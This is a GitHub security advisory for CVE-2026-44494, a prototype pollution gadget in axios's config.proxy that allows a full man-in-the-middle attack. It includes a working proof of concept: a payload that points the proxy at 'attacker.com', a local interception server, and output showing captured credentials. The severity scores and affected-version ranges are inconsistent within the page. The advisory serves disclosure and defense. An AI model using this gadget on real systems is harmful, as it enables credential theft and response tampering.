GitHub Advisoryadvisory · npm

GHSA-35jp-ww65-95wh axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

HIGH Published 2026-05-29 Modified 2026-06-12 Official page ↗
Aliases
CVE-2026-44494
Ecosystem
npm
Packages
axios
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Weaknesses
CWE-1321, CWE-441
Reviewed
2026-05-29

Affected packages

• npm axios: >= 1.0.0, < 1.16.0 → fixed in 1.16.0

Description

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy` Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is not present in Axios defaults, the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution. Once injected, `setProxy()` routes all HTTP requests through the attacker's proxy server. Unlike the `transformResponse` gadget (which is constrained by `assertOptions` to return `true`), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: `lib/adapters/http.js` (config property access on merged object) CWE • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') CVSS 3.1 Score: 9.4 (Critical) Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: `Object.prototype.proxy = {host:'attacker', port:8080}`. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike `transformResponse` which must return `true` | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | Why This Bypasses mergeConfig The critical difference from `transformResponse`: the `proxy` property is not in defaults (`lib/defaults/index.js` does not set `proxy`). This means: 1. `mergeConfig` iterates `Object.keys({...defaults, ...userConfig})` — `proxy` is NOT in this set 2. `defaultToConfig2` for `proxy` is never called 3. The merged config has no own `proxy` property 4. When `http.js:670` reads `config.proxy`, JavaScript traverses the prototype chain 5. `Object.prototype.proxy` is found → used by `setProxy()` This is a more direct attack path than `transformResponse` because it doesn't even go through `mergeConfig`'s merge logic — it completely bypasses it. Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically use the polluted `proxy` value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ```javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ``` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: ```javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ``` 3. The Execution At `http.js:668-670`: ```javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ``` `setProxy()` at `http.js:191-239` then: ```javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ``` 4. The Impact (Full MITM) The attacker's proxy server receives: ```http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, */* ``` The `Authorization` header contains `svc-account:prod-key-abc123!` in Base64. The attacker: • Sees every request URL, header, and body • Modifies every response (inject malicious data, change auth results) • Logs all API keys, session tokens, and passwords • Operates as an invisible proxy — the developer has no indication 5. Verified PoC Code ```javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ``` Verified PoC Output ``` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, */*", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios…

Related

Alias · CVE (1)

  • CVE-2026-44494 Axios is a promise based HTTP client for the browser and Node.js. vulnerability

Weakness · CWE (2)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
  • CWE-441 Unintended Proxy or Intermediary weakness

References